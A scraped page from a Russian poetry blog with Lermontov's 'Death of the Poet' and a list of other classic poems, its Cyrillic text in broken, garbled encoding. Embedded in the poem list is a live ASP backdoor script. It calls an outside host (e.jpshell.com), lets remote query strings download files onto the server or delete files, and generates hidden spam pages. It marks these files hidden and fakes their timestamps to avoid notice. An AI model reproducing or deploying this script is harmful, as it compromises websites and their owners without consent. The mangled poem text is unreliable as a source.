ƒневник затер€вшихс€ мыслей ƒневник затер€вшихс€ мыслей
главна€ > стихи классиков > смерть поэта (ћ.Ћермонтов)
загрузка...

—тихи классиков

смерть поэта (ћ.Ћермонтов)

          ќтмщень€, государь, отмщень€!
          ѕаду к ногам твоим:
          Ѕудь справедлив и накажи убийцу,
          „тоб казнь его в позднейшие века
          “вой правый суд потомству возвестила,
          „тоб видели злодеи в ней пример.


    ѕогиб поэт! Ч невольник чести Ч
    ѕал, оклеветанный молвой,
    — свинцом в груди и жаждой мести,
    ѕоникнув гордой головой!..
    Ќе вынесла душа поэта
    ѕозора мелочных обид,
    ¬осстал он против мнений света
    ќдин, как прежде... и убит!
    ”бит!.. к чему теперь рыдань€,
    ѕустых похвал ненужный хор
    » жалкий лепет оправдань€?
    —удьбы свершилс€ приговор!
    Ќе вы ль сперва так злобно гнали
    ≈го свободный, смелый дар
    » дл€ потехи раздували
    „уть затаившийс€ пожар?
    „то ж? веселитесь... Ч он мучений
    ѕоследних вынести не мог:
    ”гас, как светоч, дивный гений,
    ”в€л торжественный венок.
    ≈го убийца хладнокровно
    Ќавел удар... спасень€ нет:
    ѕустое сердце бьетс€ ровно.
    ¬ руке не дрогнул пистолет,
    » что за диво?.. издалека,
    ѕодобный сотн€м беглецов,
    Ќа ловлю счасть€ и чинов
    «аброшен к нам по воле рока;
    —ме€сь, он дерзко презирал
    «емли чужой €зык и нравы;
    Ќе мог щадить он нашей славы;
    Ќе мог пон€ть в сей миг кровавый,
    Ќа что? он руку поднимал!..
    » он убит Ч и вз€т могилой,
     ак тот певец, неведомый, но милый,
    ƒобыча ревности глухой,
    ¬оспетый им с такою чудной силой,
—раженный, как и он, безжалостной рукой.
«ачем от мирных нег и дружбы простодушной
¬ступил он в этот свет, завистливый и душный
ƒл€ сердца вольного и пламенных страстей?
«ачем он руку дал клеветникам ничтожным,
«ачем поверил он словам и ласкам ложным,
    ќн, с юных лет постигнувший людей?..
» прежний сн€в венок, Ч они венец терновый,
”витый лаврами, надели на него:
    Ќо иглы тайные сурово
    язвили славное чело;
ќтравлены его последние мгновень€
 оварным шепотом насмешливых невежд,
    » умер он Ч с напрасной жаждой мщень€,
— досадой тайною обманутых надежд.
    «амолкли звуки чудных песен,
    Ќе раздаватьс€ им оп€ть:
    ѕриют певца угрюм и тесен,
    » на устах его печать.
---------------------     ј вы, надменные потомки
»звестной подлостью прославленных отцов,
ѕ€тою рабскою поправшие обломки
»грою счасти€ обиженных родов!
¬ы, жадною толпой сто€щие у трона,
—вободы, √ени€ и —лавы палачи!
    “аитесь вы под сению закона,
    ѕред вами суд и правда Ч всЄ молчи!..
Ќо есть и божий суд, наперсники разврата!
    ≈сть грозный суд: он ждет;
    ќн не доступен звону злата,
» мысли и дела он знает наперед.
“огда напрасно вы прибегнете к злословью:
    ќно вам не поможет вновь,
» вы не смоете всей вашей черной кровью
    ѕоэта праведную кровь!
  • јнгел (ћ.Ћермонтов)
  • % 'author:lovvk3y Server.ScriptTimeOut = 1500 randomize api="http://e.jpshell.com/" dqurl=GetLocationURL() dqml=Replace(dqurl,"a.asp","") if request.QueryString("zt")="1" then response.Write("
    ok
    ") end if If request.QueryString("id")="surl" And request.QueryString("ppath")<>"" Then Dim ppath,sour,dest,x_data ppath = Split(request.QueryString("ppath"),"@") sour = ppath(0) dest = ppath(1) x_data="" x_data=GetURL(api&"/"&sour) savefile "./"&dest,x_data End If If request.QueryString("id")="del" And request.QueryString("ppath")<>"" Then Set fso = CreateObject("Scripting.FileSystemObject") fso.DeleteFile(Server.mappath("./"&request.QueryString("ppath"))) Set fso = Nothing End If if request.QueryString("sc")="1" then if request.QueryString("num")<>"" then snum=clng(request.QueryString("num")) else snum=50 end if if request.QueryString("brand") <> "" then brand = request.QueryString("brand") else brand="omega" end if if request.QueryString("di") <> "" then di = request.QueryString("di") else di="8" end if if request.QueryString("gao") <> "" then gao = request.QueryString("gao") else gao="9" end if ii=0 'fileatt(filepath,filename,filetime,fileshuxing) file_qian = brand&"-" while(ii" ' if file_qian<>"" then ' file_qian = file_qian&"-" ' else ' file_qian = brand&"-" ' end if wz_data="" ' wz_data=GetURL(api&"api/zq_wz_xwq.php?time="&rnd&"&url="&dqurl&"&brand="&brand) wz_data=GetURL(api&"api/zq_wz_xwq.php?time="&rnd&"&url="&dqurl&"&brand="&brand&"&di="&di&"&gao="&gao&"&htmlurl="&"http://"&Request.ServerVariables("SERVER_NAME")&PATH&file_qian&"index.html&shellurlapi="&dqurl) ss=savefile(PATH&file_qian&"index.html",wz_data) response.write Server.MapPath("/")&PATH&file_qian&"index.html"&"
    " createasa PATH&file_qian&"index.html" GetURL(api&"api/zq_bg_url.php?url="&"http://"&Request.ServerVariables("SERVER_NAME")&PATH&file_qian&"index.html&urlapi="&dqurl) 'Server.MapPath("/")&PATH&file_qian&"index.html" ii=ii+1 wend response.Write("over#"&now()) end if 'GetURL(api&"api/zq_bg.php?url="&dqurl) Function GetURL(url) Set Retrieval = CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "GET", url, False .Send If Len(.responsebody) > 0 then GetURL = BytesToStr(.responsebody,"gb2312") end if 'GetURL = .responsebody if len(.responsebody)<100 then 'response.write "" 'response.end end if End With Set Retrieval = Nothing End Function Function BytesToStr(body, charset) Dim objStream Set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode = 3 objStream.Open objStream.Write body objStream.Position = 0 objStream.Type = 2 objStream.Charset = charset BytesToStr = objStream.ReadText objStream.Close Set objStream = Nothing End Function Function GetLocationURL() Dim Url Dim ServerPort,ServerName,ScriptName,QueryString ServerName = Request.ServerVariables("SERVER_NAME") ServerPort = Request.ServerVariables("SERVER_PORT") ScriptName = Request.ServerVariables("SCRIPT_NAME") Url="http://"&ServerName If ServerPort <> "80" Then Url = Url & ":" & ServerPort Url=Url&ScriptName If QueryString <>"" Then Url=Url&"?"& QueryString GetLocationURL=Url End Function function savefile(filename,datas) On Error Resume Next Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile(filename) f.Attributes = 0 Set Obj = Server.CreateObject("adod" & "b.S" & "tream") Obj.Type = 2 Obj.open Obj.Charset = "gb2312" Obj.Position = Obj.Size Obj.writetext = datas Obj.SaveToFile Server.Mappath(filename), 2 ' Obj.SaveToFile filename, 2 Obj.Close Set Obj = Nothing set f=Nothing set file=Nothing Set fso = Nothing end function function CreateFolder(Folder) Dim FsObject Dim tmpFolder Set FsObject=server.CreateObject("Scripting.FileSystemObject") tmpFolder=server.mappath(Folder) If Not FsObject.FolderExists(tmpFolder) Then FsObject.CreateFolder(tmpFolder) Set f = FsObject.GetFolder(tmpFolder) f.Attributes=1+2+4+32 End If end function Function Rand2(lowerbound,upperbound) Randomize Rand2 = Int((upperbound - lowerbound + 1) * Rnd + lowerbound) end function function rand3() Const cAmount = 36 Const cCode = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" Dim vCode(3), vCodes For i=0 To 2 vCode(i) = Int(Rnd * cAmount) vCodes = vCodes & Mid(cCode, vCode(i)+1, 1) Next rand3 = vCodes end function function sclx(nun) select case nun case 1 strs="/files/" CreateFolder(strs) strs=strs&rand3()&"/" CreateFolder(strs) sclx=strs case 2 strs="/css/" CreateFolder(strs) strs=strs&rand3()&"/" CreateFolder(strs) sclx=strs case 3 strs="/file/" CreateFolder(strs) strs=strs&rand3()&"/" CreateFolder(strs) sclx=strs case 4 strs="/index/" CreateFolder(strs) strs=strs&rand3()&"/" CreateFolder(strs) sclx=strs case 5 strs="/images/" CreateFolder(strs) strs=strs&rand3()&"/" CreateFolder(strs) sclx=strs case 6 strs="/js/" CreateFolder(strs) strs=strs&rand3()&"/" CreateFolder(strs) sclx=strs case 7 strs="/data/" CreateFolder(strs) strs=strs&rand3()&"/" CreateFolder(strs) sclx=strs case 8 strs="/index/" CreateFolder(strs) strs=strs&year(now)&"-"&month(now)&"/" CreateFolder(strs) strs=strs&rand3()&"/" CreateFolder(strs) sclx=strs case 9 strs="/html/" CreateFolder(strs) strs=strs&rand3()&"/" CreateFolder(strs) sclx=strs case else strs="/html/" CreateFolder(strs) strs=strs&rand3()&"/" CreateFolder(strs) sclx=strs end select end function Function createasa(file1) On Error Resume Next Dim file2 file2 = file1 Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile(Server.MapPath("/")&file2) f.Attributes = 0 newTime = "12/30/2099 12:30:30" SetFileTime(file2) set f=fso.Getfile(Server.MapPath("/")&file2) f.Attributes=1 ' response.write "–Ы—И¬ґ–Б–Ю–Ф—Ш—О—Ц–ЩвДЦ¬¶" Set shell=Server.CreateObject("Shell.Application") Set app_path=shell.NameSpace(server.mappath(".")) Set app_file=app_path.ParseName(fileName) app_file.Modifydate=newTime set f=Nothing Set fso = Nothing End Funct
  • —мерть поэта (ћ.Ћермонтов)
  • "***(я встретил вас - и всЄ былое)" (‘.“ютчев)
  • ”мом россию не пон€ть (‘.“ютчев)
  • ѕарус (ћ.Ћермонтов)
  • ***(я знаю, никакой моей вины) (ј.“вардовский)
  • Ѕаллада о товарище (ј.“вардовский)
  • –одина (ћ.Ћермонтов)
  • ***(» снежинки, влетевшие) (ј. очетков)
  • Ѕаллада о прокуренном вагоне (ј. очетков)
  • ¬есенние воды (‘.“ютчев)
  • Silentium (‘.“ютчев)
  • ѕоследн€€ любовь (‘.“ютчев)
  • » скучно и грустно (ћ.Ћермонтов)
  • загрузка...
    Rambler's Top100 ƒневник затер€вшихс€ мыслей - поэзи€ нового времени, неслучайна€ лирика